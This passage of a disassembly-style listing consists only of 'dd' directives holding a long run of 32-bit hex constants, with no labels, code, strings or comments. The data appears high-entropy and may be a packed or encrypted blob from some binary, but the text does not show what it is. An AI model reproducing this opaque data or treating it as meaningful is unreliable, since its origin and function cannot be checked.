809B43D6h dd 53075B66h, 0EF8099B7h, 3E7C091h, 0F8605520h, 152732E9h dd 0FEC5D349h, 25D872A7h, 31453AA2h, 9D0DC4BFh, 10C1D52Eh dd 30547B60h, 0BA126A58h, 5EE1D0DCh, 382CCF3Fh, 4FFA49E9h dd 80B52AE2h, 26685616h, 3E183007h, 18C9B9E9h, 0F4CC88E9h dd 2619B465h, 35F642D2h, 1A4D364Ch, 72FD7DA0h, 0FD5610EEh dd 83E7800Bh, 0F6B0A681h, 0DD12F4DFh, 6AEC1AD7h, 50585CC9h dd 72548008h, 0A1E90B66h, 0E5D1BF40h, 8C093C98h, 272BA02h dd 7458DA8Dh, 175C9EB5h, 521C49ECh, 145E3BC4h, 0E909A6E6h dd 6F462849h, 0CC707C0Fh, 0E05DA91Fh, 6B0509Fh, 4973403h dd 0F941DC32h, 845A2C12h, 97E1F727h, 27098B2Bh, 3544F85Ah dd 0FBEFA17Dh, 36FC6601h, 0F22130D2h, 49118E3Bh, 316000A5h dd 6E25161Bh, 4AD14C59h, 0A3F52312h, 4FE04F7Fh, 35F9833Ah dd 245C29B6h, 4BB51BFh, 68660CF7h, 0D94AC2C7h, 5F2084Fh dd 16C3315Fh, 2CA02160h, 306800BBh, 0B0469762h, 1EDC5D4Eh dd 0A1B08602h, 32D9BF86h, 0DA7F78A0h, 3F8D4E3Bh, 77DBEA02h dd 0C8848198h, 83258990h, 68001899h, 2B61540Fh, 719ABF54h dd 818A7479h, 8B49B9EEh, 31E62397h, 0CD9FB9F0h, 5788326Ah dd 0CE858090h, 62C18F82h, 0C0751062h, 2FBA1769h, 0DF58AF04h dd 0B0B5C2B2h, 80063701h, 475F5B68h, 0E658A5DAh, 669A6818h dd 5F13E62Dh, 0A00A1727h, 0E9090705h, 3EF9F84Eh, 6AE031ADh dd 59A95D2Eh, 0EE0B2FB8h, 0DE52C508h, 0BD3A8930h, 4CEE1355h dd 5989CF62h, 0FACAE6E3h, 5A5B1D78h, 612BB8Bh, 853FFC3Ah dd 92FCF189h, 59CF31A0h, 9B52E913h, 0B2ED68DDh, 7889E153h dd 0B664E42h, 7104ACF4h, 1982F1C0h, 6CEDED85h, 0F2683F1Eh dd 0C669EA9Ch, 982D9594h, 0A45E2A0Ch, 4FE9D544h, 793DA8h dd 7E1A70E3h, 3382CA81h, 0AEE0034Bh, 9C4525E9h, 4252D5Bh dd 7DE40147h, 537ABE5Bh, 0B3AD9C37h, 0DE32FD50h, 83419518h dd 0F065C534h, 7F1415F6h, 3D01309h, 734C5DD7h, 0B6E5E84Dh dd 3F2C263Ch, 0F53E3C60h, 701EC002h, 0DCF1EE29h, 3CD8DE49h dd 919CD83h, 76075954h, 89D03220h, 4EFFEBC4h, 0E9C529DEh dd 585DD215h, 8B90F6D8h, 1217215Fh, 0E9A09CB9h, 949F97DCh dd 0B41C5EB9h, 42975B5Eh, 0F8218584h, 0BF4DC3B0h, 0C2DBBD82h dd 0C3EDD102h, 484BB81Ch, 315E0543h, 9729E9F5h, 67A9563Eh dd 1993045Dh, 615218B7h, 5F1D096Bh, 3827C6D2h, 74222146h dd 0B570FD05h, 15F13FBh, 5BCCEDFh, 344059E9h, 654460C0h dd 5A2C7AF1h, 0ECBB9587h, 1756943Ah, 36F50643h, 13D14330h dd 805E1C0h, 28079A39h, 0FA3359EFh, 2CE2D95Bh, 9F69381h dd 704CCF4Fh, 0A36ABA5Ah, 390C6761h, 0A351CB21h, 3DC5CCD7h dd 0D7F6544h, 0C4298234h dd 21DFBA00h, 31271303h, 0A2E9BDD5h, 14B523Fh, 244295C6h dd 31FE2918h, 0B3080468h, 0E38D5BEBh, 9EEF176Ah, 5BB45A1Dh dd 562FEF84h, 6E4714B3h, 6639102h, 0A1AB010Ch, 0AD4DBC04h dd 0A5F83B41h, 0FCBA0978h, 640DC365h, 0B98BF12h, 9982B66h dd 1DBE6858h, 5414DB9Ah, 0DA50EA42h, 4BEC9D3Fh, 6644CD2Dh dd 0B52B261Eh, 5E1EAE1h, 0D8267168h, 391777F0h, 0B5B37633h dd 28B2A540h, 4E76912h, 116889BAh, 0C81EC041h, 3C5CD029h dd 46B12D18h, 0B014A72h, 1A231F3h, 0F4DC45C7h, 0ECC1C47h dd 3EC28C0h, 1F8791E3h, 389CC9E5h, 0F257C7A5h, 20221B9Dh dd 139E7C17h, 5EAA09h, 46260726h, 0E548C139h, 51AC1256h dd 61C264AAh, 32D498D1h, 0F7C1F55h, 5DAE4D99h, 0DE13BC69h dd 0DE3CF92Dh, 56A442C9h, 0A4D6A46Dh, 24B020D7h, 149E2204h dd 0D71010DBh, 0FE814BB8h, 0BF49DC45h, 6BAF3D70h, 0A94C1295h dd 92C99725h, 603B62CCh, 2B84FBh, 0A1357944h, 0F70A0343h dd 253ED05Ch, 588F3145h, 880411C8h, 6C95957Dh, 3D014C50h dd 9DB4582Eh, 0A98E9850h, 68BF5268h, 80A709E6h, 64AE2C1h dd 3404ECA9h, 0C04A2FD0h, 0E54A03Eh, 0D0015227h, 5A08803Ah dd 0EEF74829h, 7D391D75h, 0BCD9D63Fh, 0F5930263h, 0C22991DEh dd 2531DA8Bh, 0D1595B54h, 68B75644h, 0C30DC35Dh, 20D911E9h dd 4439CCF4h, 4662FBEh, 50F56CAAh, 26D3146Fh, 8814075Bh dd 5AD723C2h, 0BB4A5BD2h, 0CDF49C66h, 6195B9B2h, 13F7681h dd 796859D9h, 0A6234Ch, 69671CBDh, 0B440E918h, 283A2CBCh dd 4E7C1E8Dh, 0D001CB50h, 0E9624956h, 2C7848CAh, 74E4B5h dd 0B652F028h, 0C0C6FEAFh, 0F607EE09h, 73FC83D6h, 0A08B74CFh dd 3E71FBB7h, 74983E0Dh, 0BABB1AFEh, 2ECC7B02h, 41C8E381h dd 0C82387Ah, 3B7048B2h, 726B9260h, 1099663Fh, 6809F6C5h dd 58D436FAh, 0BA23A62h, 0DBA53AF3h, 94580C07h, 0B097AD26h dd 802ECF57h, 7FE16852h, 5A23D3CAh, 4A25E91Fh, 22A52EA1h dd 0F059AA42h, 102D2641h, 0D872C9Fh, 308F3D3Bh, 35AD3A6h dd 70ED21DDh, 0F64A9E68h, 0FCCA18DAh, 0B55AD165h, 1D68A201h dd 727C481Eh, 7027DA6Ch, 5CE6F255h, 85A7D3EFh, 376EF033h dd 719C7302h, 82284AE9h, 7A660246h, 0B0B47075h, 6030A0E0h dd 49FB9652h, 0CFB798Bh, 0D8E9D103h, 800E0E17h, 0C26C71CAh dd 5CB4FEBEh, 69B3BF00h, 8151B1h, 667FAEE7h, 27E94F19h dd 8FCCF14Fh, 306B4B5h, 4C0CB866h, 14A335A3h, 81E8C1C1h dd 62A62DA2h, 1F7536E9h, 0BD943778h, 1971B106h, 0FF0E6820h dd 0C1281C25h, 0B049FAF7h, 1A06C56Ch, 0C1BC81Eh, 0AC876F00h dd 0E9FE019Dh, 0FFD4AAF3h, 0F65C8919h, 0B3254264h, 0E645F4h dd 165E55C2h, 0EA7E0109h, 0EE0844E5h, 0C335952Dh, 112A82C2h dd 61BF0093h, 1D01D929h, 4DAACF81h, 0F0300DA7h, 53C6B73Eh dd 42A3AAA3h, 70C77D03h, 0DA1AAE40h, 7583EA15h, 965E6B8Eh dd 1265B820h, 5CF42919h, 6A1113C7h, 44980662h, 0E9801912h dd 840B3335h, 0F0D2F75Ah, 84A6603h, 8712E403h, 3205EB50h dd 43EB5AD5h, 0BB53D1FDh, 0EB90DD60h, 4F796E48h, 2BD9441h dd 5B038808h, 7BC256DCh, 2C8702BCh, 31A0DB09h, 7E28F6BDh dd 2048A68Bh, 32C64E2Fh, 0F132595Ah, 60B19031h, 7EE7B592h dd 0E402BF09h, 63381892h, 0B5129875h, 81D5D682h, 56232EB9h dd 79046A48h, 1EF9963Ch, 41F83113h, 0C06CC3F2h, 9BEA4208h dd 173CC959h, 3489A42Eh, 2A7AC93Ah, 68824FA3h, 0F0460134h dd 2F9E5279h, 49C15049h, 0A35E015Eh, 0B450C3F9h, 0D0E4CB89h dd 2734B151h, 0B09B6E9h, 5AE98251h, 2CCC09Bh, 0BD702269h dd 8D425328h, 1F00BABEh, 0E98BC3D1h, 253E5FBEh, 53BE82A9h dd 0E7A1136Eh, 243AF9h, 0BD349CC0h, 899205B2h, 9475E9CEh dd 7313EEFAh, 0E78C7B1Bh, 5A389126h, 86703433h, 0C59716FFh dd 33628BD3h, 6870E056h, 327A4F22h, 545E1Ah, 0D231E961h dd 0F06E436h, 0F07B0338h, 0E90D0B62h, 982EFD52h, 6673B2A0h dd 0B03F5051h, 0E0E12F6Fh, 96D1F66Ah, 28B3077Ah, 610269F9h dd 0E65D2689h, 2C4F8607h, 68C81813h, 1A4902F6h, 0A08464BCh dd 0DEDBFCD0h, 100CA54Bh, 4AA968D2h, 2CFEE304h, 4304CAA1h dd 0F082475Fh, 0E6E878EBh, 0C10F2DCEh, 0C495B078h, 3E3263Ah dd 31E210C2h, 0A56E345Bh, 2AFD997Eh, 95C22B74h, 47210110h dd 68CE6F1Ch, 17BEE75Ah, 3D56D9E9h, 8C46A901h, 2D309C22h dd 4D1B04E5h, 0C4CA290Dh, 1608139Fh, 7112A5h, 99205BE0h dd 90B35711h, 415E6425h, 10F67C48h, 462F4159h, 86683B02h dd 0B9A11855h, 73291741h, 9BBA77Bh, 0E05EF231h, 82E5E02Fh dd 0F48D3C41h, 294A4C37h, 5B8B5FB9h, 0D92DCBFCh, 7FFE4909h dd 13BAC5C9h, 30D1B657h, 5AC4E468h, 6F329859h, 41B60FF5h dd 0E213D9D9h, 0EA874241h, 38B2078Ah, 451BB2A0h, 4404D5F7h dd 0B6B9B98Eh, 0DE963A6Eh, 5AAC548Fh, 0C328BC09h, 800BB142h dd 0C7A4614Ch, 1268A6A8h, 6A24384Eh, 50FF68ABh, 782DC8C1h dd 0C3415F42h, 902B10E9h, 0A636D7A4h, 0A0891120h, 30549144h dd 0ED0C7649h, 674AD2BDh, 5251BC80h, 0AD7F4BE9h, 0C8F53F77h dd 0A53D3D96h, 29A0E093h, 495890CBh, 0A64B4605h, 97F5D683h dd 1F2FD5FCh, 0EC010689h, 0BF08207Ah, 0FA391DE8h, 2A516FB4h dd 0AC0E172Eh, 1E9F1DBh, 5A3D3D28h, 2D9EB529h, 0EAC8E1E8h dd 0E159E283h, 846B528Eh, 0A168BCC3h, 0C97F03E9h, 9068F8E2h dd 0D45F274Ch, 92884E47h, 95AEBFF6h, 4C78FD93h, 0C5D320ABh dd 0AE1A9E0Ch, 30B8E335h, 3064510h, 147AA905h, 5B0A0157h dd 0F001123Dh, 0E907402Dh, 5DB629A4h, 9045988Bh, 2E3E277Ah dd 0AC111FAEh, 0F1E0D2Dh, 0B6133A82h, 3FB32302h, 0E66FC0ACh dd 0CE0D16EBh, 7956E87Eh, 6512F678h, 0BB24B435h, 71E98904h dd 0A22E7AB1h, 80B5C0C9h, 0ECE9E830h, 4876BAACh, 0C71103CDh dd 83A65F43h, 0B8FB6092h, 0DB073E25h, 0C1DF051Ch, 0EE01E99Ah dd 18B17327h, 7C34046Ah, 0C2A1129Ch, 5C160E6Ch, 344844D3h dd 1805008Eh, 5585443h, 0EDEBC35h, 0D63FBD4h, 0E9EFA8C5h dd 28AC5016h, 736B461h, 33C4ED80h, 0F5B14EC5h, 6EEBC10Eh dd 0A67A9A62h, 309689D8h, 0EFE137BAh, 952CC780h, 0A73E3B59h dd 0ED78C84h, 9A2890F6h, 370B2E41h, 2899C995h, 74CF2C68h dd 922FBF26h, 16558CEh, 0B85038F9h, 0F4C80850h, 0A5586A10h dd 3DDC19D5h, 0F8DDD8ADh, 0FB4BA191h, 88ED8989h, 50C60975h dd 52681369h, 3B4B8C6Ah, 50D2702h, 7D0756E9h, 0C2014D99h dd 0E912F5C6h, 90330F85h, 0B6778668h, 77095061h, 57191C64h dd 0AF698481h, 404E9034h, 6816508Dh, 4CF27C7Ah, 6E3C588Bh dd 7BD1A12Bh, 68C35526h, 54538569h, 737F8200h, 1BE3FBAh dd 2B70B94h, 51A641E9h, 681A3AC8h, 6F6AC166h, 842A26B1h dd 6640EBC1h, 9F4C77C6h, 0B50CD684h, 0D81FA810h, 0C805A6A8h dd 38EA3B05h, 0E884F029h, 48E90804h, 0DEBB5DD4h, 92E91741h dd 89573D42h, 744342DFh, 0F2581397h, 6A6882C6h, 0E95FA15Eh dd 6781F721h, 8B5A71C1h, 68A73457h, 3295E672h, 0ED274015h dd 266FC3Ah, 56CD814Dh, 94508A4Ah, 0E71D309h, 2E24004Ch dd 9F73E04Fh, 6259BE68h, 0BA7E727h, 4BE351FCh, 0E3E10F04h dd 0B55C1B39h, 498EF09Bh, 11ECE199h, 2F5B9727h, 568BFA48h dd 25546C44h, 823239C4h dd 508AB055h, 42308B2Eh, 0BE33FC56h, 81E91671h, 2562ED1Bh dd 0BF11E48Ch, 0D361FB9Eh, 0F0E99C64h, 5F3027E7h, 189D8CF8h dd 0B8CABE0Fh, 0E91813A4h, 3D98A1A0h, 421988B1h, 85D48BCCh dd 0E3EEEE6Dh, 7E165886h, 1ECE2577h, 50DA22BBh, 0B080F0h dd 9269523Bh, 9EE5903h, 30DBD050h, 84EC942Dh, 28554C26h dd 0CAF69715h, 44260974h, 875F1712h, 2DF3490Ah, 0C51F05F2h dd 0C2955DDEh, 5360FD07h, 33092F88h, 0A775E973h, 0DB625FD8h dd 3F56593Bh, 0FEEB5734h, 1C9CD904h, 8A611722h, 665C0193h dd 0DCCE9821h, 0D2E19530h, 842892Ch, 290CA295h, 511566FEh dd 712D1CB9h, 0BA99BD15h, 2A5459C9h, 578B1342h, 0BC6A0199h dd 37BD4B2Dh, 0B0D44A9Fh, 445A69CEh, 0CCAC6F27h, 609FA290h dd 0BFB9312Fh, 109A44Fh, 951B2F3h, 0A4CDFEC3h, 0D9FA2711h dd 1E3462B4h, 7BE85EFFh, 584A2A58h, 0F1688C9Bh, 84F94F49h dd 2C039443h, 53885A23h, 970BB551h, 706EDC0h, 0E533D37Bh dd 0C20C28A4h, 0ECBA52D3h, 6D5A0809h, 8D4F5B02h, 0D1BE4104h dd 22C6C238h, 10188964h, 808A6963h, 0F84F895Dh, 0C86A4AE5h dd 0E2048125h, 563046A7h, 7DD1C3C7h, 0E22F58EFh, 86244F12h dd 2AB8AA17h, 0FA8BEBD0h, 0A0113A2Ah, 6E2C453Dh, 92E22298h dd 0EC609D80h, 3E723F05h, 0D801710Ah, 3C3E072Dh, 0F55EBC7Ah dd 0A5779909h, 93C2DC32h, 16EDF754h, 0C2995FFDh, 552FD342h dd 0B953518Bh, 7440E10Bh, 271B4231h, 0F7A82D5h, 6C45DBDh dd 97B5EE20h, 2AEC27F3h, 0BD2D80EFh, 0D5C5670h, 0AEF9143Dh dd 3E187D3h, 6C2D4792h, 41A1B08Fh, 0A7043FCCh, 2EE8D16Ch dd 2FBBC89Fh, 0BC88510Fh, 1874C85h, 1FD51E04h, 83C193BCh dd 0F46F2D09h, 0F8AAE6E8h, 0B0548042h, 73C75E25h, 742034B4h dd 9942DFE9h, 85668910h, 43254078h, 0A449FB89h, 7468884h dd 0B7044D12h, 217F61Eh, 7B706862h, 9F27864Ch, 6979C615h dd 3A81B527h, 6E1C5BC6h, 44CC2AC0h, 0C1B600Ch, 0C894453Eh dd 7FE1214Ch, 178F200h, 0D6E9284Eh, 4A37B9FEh, 3AB20311h dd 0C0E51E15h, 293961EBh, 1690527Dh, 80736309h, 0C0AAC370h dd 5B5ECAD4h, 0D565F5EDh, 0CA2A7833h, 0B6A5D01Ch, 72E91662h dd 598E312Bh, 56C33041h, 76827E00h, 1A3B5735h, 4215E36h dd 0F2C7F285h, 1D2778B6h, 42D671A5h, 84126857h, 3CBF3FF8h dd 0C941B623h, 0FD69C27Fh, 0D642DE59h, 0C054EAA1h, 2D07E26Bh dd 0C5045F7h, 0BC8EE4Ah, 1DE861C6h, 6E43C0E9h, 4A2B4A88h dd 467BCDAAh, 7402E621h, 0C12F7753h, 0F87940E0h, 0A5DDDDF9h dd 31C23E54h, 17E9CDE0h, 4757B0D7h, 0D9095790h, 8097C28Bh dd 0A8161A82h, 0B0F8900Ch, 5F088044h, 43FF2F68h, 5063E8D3h dd 80216213h, 455D3E06h, 96322558h, 25590C5Eh, 0B62B0225h dd 7BE9C56Dh, 0EB620A0h, 28212CF0h, 95FFA9Fh, 2458681Fh dd 6B6FC896h, 0BB8A40A9h, 1D0A0A9Dh, 0D05012h, 7A319CFh dd 8C4C14E9h, 0EB808217h, 2B9F68Eh, 2FCD68B3h, 0F820564Ch dd 0DB807D3h, 4047EE39h, 0E546849h, 26D0538h, 55E92074h dd 0F8245D21h, 0F03D899Eh, 6E973C16h, 0E991BDF0h, 8E8A4D3h dd 2FE03B1Eh, 6E65FB29h, 3AE96804h, 203ADABBh, 38681583h dd 614A1314h, 6F5559CAh, 0A1652A14h, 7AF4332Ch, 681AC2D8h dd 53591EBBh, 0E575D64Bh, 0FADFD5D6h, 81D7BF00h, 0FA62F2E7h dd 6C60B576h, 35506731h, 0C27A7CEFh, 1AE16E4Ah, 0D76662F2h dd 7E524311h, 0E35A64CEh, 0BE5317FEh, 5D511CB7h, 0F2DB67FCh dd 6DCD4829h, 3C3B0841h, 0E026E986h, 3F4091A1h, 338236Bh dd 18C62D5Ah, 0AEAD7E02h, 0C8290244h, 1D02CC2h, 6E424368h dd 0A43CE431h, 7B1EA104h, 16C32094h, 0F07DF9EAh, 9B7D472Eh dd 403BF568h, 0FE2BB71Fh, 0DF3AF6C7h, 0E9560680h, 0F26B984Eh dd 0CFECBD5Fh, 9ECB5820h, 90A65811h, 9D697E82h, 0B1B026B5h dd 3A2B9898h, 138E8C44h, 8092B300h, 283E2FC3h, 0CAAF1ADCh dd 57D00443h, 6FAE42C0h, 2D1C7FCEh, 620E8BFh, 4C6312B4h dd 66FC015Eh, 4F854931h, 40EA3918h, 7F75BCADh, 14986A5Eh dd 0AB4A860Ch, 835E5109h, 0F0250573h, 0F07C2C76h, 10679E8h dd 0FE5FEE32h, 3A3497E9h, 0B35D442h, 0E2324070h, 3BE8F8B7h dd 0CA8E4218h, 7C0C0965h, 77279A0Ch, 2737788Bh, 7FE27532h dd 0BD096B56h, 97087B2Ah, 0F3B62110h, 903F2896h, 40810285h dd 5D295ECFh, 0F67F8EE4h, 0B320DAB1h, 38701705h, 45FE5B3Ch dd 0CD269576h, 4E7D78AAh, 4AA4BDB8h, 83FD287h, 5E16E09Eh dd 0A2818209h, 61B5B3FCh, 6893955h, 61503096h, 4EC28749h dd 0B22A97B1h, 55A65890h, 63CD6FE2h, 748FE430h, 0E9791744h dd 1F10AD30h, 734F93EFh, 239069F1h, 12E78877h, 47EE2DE8h dd 34F03126h, 32B845Eh, 738D0284h, 0F6401E3h, 3E366C18h dd 8084D020h, 5E5C1FDCh, 1D3301A7h, 0B80CBF44h, 0E8180B0Ch dd 3371A44Dh, 0F168BCD1h, 7B55BB00h, 1E8EF0Bh, 2791C6D9h dd 337CCE31h, 0D862555Ah, 3E894674h, 79C77B4h, 548B0B93h dd 4A88E6A5h, 0A8BBF855h, 8672B15Ch, 4D444A68h, 0F7D4F3F6h dd 62FE89BCh, 8DE45FA7h, 0A0E86C4Bh, 0E8966CD0h, 0EEE4B38Eh dd 6C050040h, 29217A5Eh, 7A32DF8h, 9F0170E7h, 6C9F5379h dd 4939008Fh, 22BB6A2Fh, 9704A5BEh, 0D15AD301h, 4DF323C0h dd 66E22510h, 2580FCh, 3E3869C7h, 68D8F515h, 87706E99h dd 50169B08h, 0A9947304h, 373FD8EEh, 796A359h, 0E7E5B01Fh dd 0ECBE62A2h, 0A56813F6h, 97A36112h, 0B95207D0h, 0D893A083h dd 5836BE2Dh, 2C165A7Ch, 8120CD40h, 313AD068h, 0AD2059CAh dd 6B422653h, 33C20F03h, 295F6D40h, 962AE9F2h, 0B32AD00Fh dd 3B93C30h, 58015B13h, 446A22CCh, 3563320h, 4A63BB53h dd 1CF23BA6h, 5E277ED8h, 2F087E5Bh, 66E1CD59h, 0E622BB0Fh dd 9038E612h, 0ED6C2E01h, 1FF5134Fh, 11C0806h, 30543217h dd 6A09C4E9h, 70C78092h, 7B189573h, 5D80FAE8h, 4C62D83h dd 0D0B33D24h, 5892BAECh, 256B4F3Dh, 0BE9CE0CDh, 623526D6h dd 0F2A008E5h, 71F13A25h, 3C89AF09h, 31739050h, 0A6F16580h dd 23772AFDh, 5EE17EA5h, 0C956134Ch, 619A20B2h, 7D9A1612h dd 0C48E1CBAh, 0EE19E948h, 2D68A4D8h, 0E56D0F9Eh, 139B402Fh dd 5645240Eh, 0C220E76Ch, 0C6D465B7h, 78F94B2Dh, 0B2AD2659h dd 0C68166E2h, 146A4709h, 6BB9D13Ch, 8FC00956h, 957B0C76h dd 3A0EFE78h, 0C1093F65h, 8E5317E3h, 77C37530h, 0DA062735h dd 625FACC2h, 2650F032h, 443BBEE9h, 0AD97AFC1h, 4FBE926Fh dd 0B9701B9h, 0FAA7BCE9h, 4CAE9C7h, 38D305C1h, 9DF24E7Ah dd 2A38A3D3h, 0DD8AA05Ah, 35A4DA39h, 0B0960F0h, 3D34124Ah dd 5E9023C6h, 0C6A94064h, 3FE21FA4h, 5C6AA39Dh, 48F997E9h dd 811C3365h, 17FD7001h, 4F9756BAh, 10E985E8h, 0D3C64EB5h dd 0B93DFCE5h, 0A13822D3h, 7968DD2Ah, 302DBB01h, 21432295h dd 0E023AFEDh, 5EECE9F8h, 5157C821h, 5625BEA0h, 0F7790209h dd 3D854D5h, 0E754C42Eh, 6EEE89E1h, 20683A26h, 125E69Bh dd 698F764Ch, 0C245AED6h, 0E830EBD1h, 0B22A343Ah, 7C6882FCh dd 3729DD2Bh, 59952950h, 48E9C1CCh, 0D3A13D99h, 585C1D3h dd 0F7E7D13Dh, 91CF8DFh, 8973F420h, 49D4D07Fh, 0F94B075Ah dd 0D157C901h, 4A923D36h, 1780B3Bh, 17071008h, 0DB27D15Fh dd 0F3BA0095h, 3EB90A7Ah dd 184EAC1h, 5A0B3BE2h, 83AA206Fh, 4A5AFFF6h, 2766A2A0h dd 455A1578h, 1240301Eh, 6F94952h, 32DE0E7Ah, 0F1C04633h dd 0ECBAF9Dh, 59D0294Ch, 62584CBBh, 0C8E7E9FDh, 0EFD1041Dh dd 0EAFF6E1h, 0AAF6E7CEh, 0D0E58081h, 95E388E0h, 0A11F66D3h dd 0BAE22EACh, 62285C1Eh, 76F870E9h, 4E7DB805h, 2BE80769h dd 0F93EC15Ah, 52B101E5h, 0EC49A53Ah, 0BD99EEE2h, 62C32DBCh dd 0D2D976E9h, 1C326541h, 91392AE9h, 93B90724h, 0D435A450h dd 479AC96Ch, 0B0C98564h, 570B1FFh, 0F588C869h, 821C6B8Fh dd 9B5E922h, 0FAB73077h, 2E189DA9h, 0CB0B55D8h, 18D5316Dh dd 9F5457D6h, 4425E45Bh, 34EE811Fh, 98489BE8h, 0B94148D3h dd 79207E07h, 4ED6906Ah, 93B614E9h, 4408E82Ch, 505F09B3h dd 0C448CE64h, 0E4F18E7Eh, 8CAAFA9Fh, 6EFD7D40h, 0A88F94CCh dd 95D5F6D2h, 0DB03C5BAh, 0EF877CB2h, 0E02C5A00h, 474E828h dd 525B5905h, 0BA208BE9h, 7A1118AEh, 0D7D4EA03h, 0C664B083h dd 0BA4BCC0Fh, 3A26C577h, 21A230EEh, 9A1258B7h, 20EEEB29h dd 7FB252DEh, 0C0D2F606h, 4CD606EAh, 6C8F7EEBh, 866D40D7h dd 0F7180B5Fh, 0E8D1D800h, 42255135h, 0CADAC946h, 5A540298h dd 0F2773195h, 4F188F2Eh, 4E7C99E6h, 0E99CD158h, 0B5EE6422h dd 0EB287B12h, 0C755245h, 139EE4E8h, 0B63040D4h, 0B0F68023h dd 6BF9F3E0h, 0D4BABA90h, 48961E75h, 81AC857h, 99C15816h dd 0B10089C6h, 0D91EF63Ch, 9C79F180h, 0CA125AEAh, 0D165C21Dh dd 939F4FACh, 0CF13AB7Dh, 9B251DA8h, 0B408285Ch, 5C824EFh dd 415FEB9h, 17FD20A4h, 0C4E53714h, 0BD01F5EFh, 3F304576h dd 0D5902884h, 90296658h, 3C68E894h, 0B3491087h, 2F331062h dd 180BA3F9h, 820266F6h, 59937DC0h, 554881C2h, 0CD4C295Bh dd 276B8C48h, 56C8120Fh, 81F0B254h, 2D37E951h, 0EDC6BD6Ch dd 0EA07E3D0h, 491601CDh, 0FCC4CA34h, 62590809h, 0C4D8546Bh dd 615B56Eh, 0C101459Eh, 22C90382h, 0BFB98751h, 117E020h dd 33995BDFh, 1502DE43h, 0FF42E99Fh, 18C1A84Fh, 0F039849Eh dd 8668125Eh, 0B3A08C58h, 1B083113h, 0E109E812h, 0BA3F204h dd 0B96C8EE9h, 3F0907F0h, 8438D47Dh, 0D2CD83F9h, 0A0F012E0h dd 12ABC87Eh, 0A889529Fh, 0A8011E8h, 12091E76h, 0CB0C30E3h dd 17BDF27h, 0EF13E525h, 0B96CAFA9h, 31E1EA05h, 0B1246C67h dd 52590809h, 97E91A3Bh, 965D9688h, 32024EE0h, 3F5A66B8h dd 59E3920h, 27685F97h, 0C117F864h, 0EF6E2C42h, 0C30E927Fh dd 4B02680Eh, 61EDAE56h, 82A61920h, 429A8C50h, 9D178F80h dd 0D64218CCh, 10E120Bh, 3486AD20h, 11942BD5h, 27A1CAAEh dd 92EC4557h, 4038D75h, 2075A1D7h, 2D06D0EBh, 3D1B4DB8h dd 2205000Eh, 0E9A9B9B0h, 20BD2B4Ah, 4CABF114h, 24757C94h dd 8288D56Dh, 0F568C0B6h, 73EAD5EBh, 90D146EBh, 3DB5666Fh dd 5FA6125Ah, 7F8C3465h, 0A1DB5847h, 34D758A2h, 6C489DE4h dd 1141C7E9h, 0F272F36Ch, 868270Bh, 10154A22h, 909F0DD2h dd 325EBB9h, 0E9165C58h, 0E71329F5h, 88CDEA01h, 6475C100h dd 2C4148AAh, 85FDE91Ah, 5AE74455h, 1065F266h, 0BF037C69h dd 5ED7679h, 0F7F760Bh, 48000258h, 0A45F0590h, 0E04892C5h dd 5F04D39Ch, 2DAE2110h, 282C2EA2h, 0BBC9409Fh, 0F64DA5A6h dd 0D4065CA1h, 0BAB94B88h, 0F0F7E91Dh, 9DFBBE22h, 812FE603h dd 9812E3C7h, 0F0F7290Bh, 5E08A0EFh, 1B609789h, 5512ACC9h dd 0D716490Ch, 7457B292h, 4BDF6ED1h, 59D43849h, 2056CCC9h dd 5A05A00Fh, 79986855h, 0BBEB30BAh, 1E0C854Eh, 0DB72D58h dd 0B15D4E50h, 0E4A20291h, 0BE132771h, 0AA2A52EBh, 5E08EF04h dd 312E96F1h, 340AE945h, 0B04B829h, 4033FB30h, 0E8C17780h dd 96E91708h, 15E961DEh, 0DE1D2884h, 0F8F1CF56h, 0A5A4AB6Ch dd 732A329Ah, 7C1F940h, 874F02EFh, 4CE4B7F7h, 5A7ED563h dd 3908ED2Eh, 9288A4Ch, 0C785E9B7h, 38D7F890h, 0B70C6228h dd 87DDDD51h, 1F87EA0Ch, 75C90184h, 0DC590802h, 1CD249Dh dd 0DA35FD4h, 0B1042A31h, 5D0B2EC8h, 0ED7AF90Bh, 0D87807BFh dd 6637CBA2h, 52660011h, 0D024B450h, 80F4FEE4h, 0C66BCC32h dd 59DE0BA1h, 0C803052Ch, 0CD011143h, 41F2B288h, 39257FCBh dd 4F8144EAh, 6EB12B6h, 4D7AD2EEh, 2568DA13h, 191E0E5Fh dd 1DA64565h, 0C29DE001h, 0D1ABDD13h, 0CB0B0ED3h, 62897CE1h dd 0C0F2DE3Eh, 7DD6C20Ah, 20D879Ch, 803B4DD1h, 481451E1h dd 68580704h, 34EB3F1Dh, 0F0D9FF21h, 1B40DF25h, 95C83112h dd 6804A3C5h, 90A85B1Bh, 0EDA69DD8h, 0EAD95581h, 9D502B2Ch dd 0C06B0E15h, 0A332405Ch, 23BF00F3h, 0E9455E58h, 0E48E4F91h dd 739F523Ch, 542F3D0Fh, 0FF00669Ah, 4DF32209h, 0F70BEC90h dd 804F646Eh, 8E331375h, 0EEDFA80Eh, 0CB9A0FBFh, 5E2F31BAh dd 0EF83DF63h, 77869904h, 0BA844E9Dh, 0F005EA88h, 2C5A66BAh dd 20026DEh, 2919C322h, 5BCDE9C6h, 581ECC16h, 519D0098h dd 0AB844956h, 69B01799h, 8664126Ah, 0B412EBFCh, 180549ACh dd 5D73D95Bh, 0A7B1A5A0h, 0E9B2587Dh, 2D6A764Dh, 96EF5951h dd 9152A060h, 0DC2FBECh, 80535E54h, 657F5A87h, 8698BD25h dd 6A3DACB9h, 0F298E1B2h, 0D42AD715h, 3901EBDCh, 11E9DE01h dd 97A3C1A0h, 49B0A0F2h, 49259109h, 0B4D7876Fh, 294B96B0h dd 828D0CEh, 0E14CD746h, 0EC1D2A00h, 58B5BB3Eh, 310EE116h dd 2401E616h, 169F4F1Eh, 95B71370h, 0BB555AC2h, 6DBBF055h dd 2864341Ah, 0EE96009Eh, 2F4D1119h, 24658AC1h, 2371250Bh dd 0D0088AA0h, 0E909141Ch, 33F723A0h, 0A521F4DFh, 64BD511Eh dd 248C6F70h, 0E58013D1h, 0ADCD0869h, 7030A227h, 0C9ADF187h dd 7B957FCEh, 2BC408BCh, 0BF00D326h, 13090B4h, 0B557FADFh dd 44B74600h, 7300F780h, 2838B050h, 1D0458C7h, 0DD0D2C94h dd 0F076BAF8h, 82884B5Bh, 82EA63FFh, 5F0E625Dh, 0A185F245h dd 8B013B66h, 0E545A0F6h, 0CE67C70h, 60AE50A8h, 3A0AAC0Ch dd 0A4467889h, 98B2F002h, 7DDC61F8h, 1E17982Eh, 63A6594Bh dd 138EE908h, 0D1DF0B25h, 5BDA403Bh, 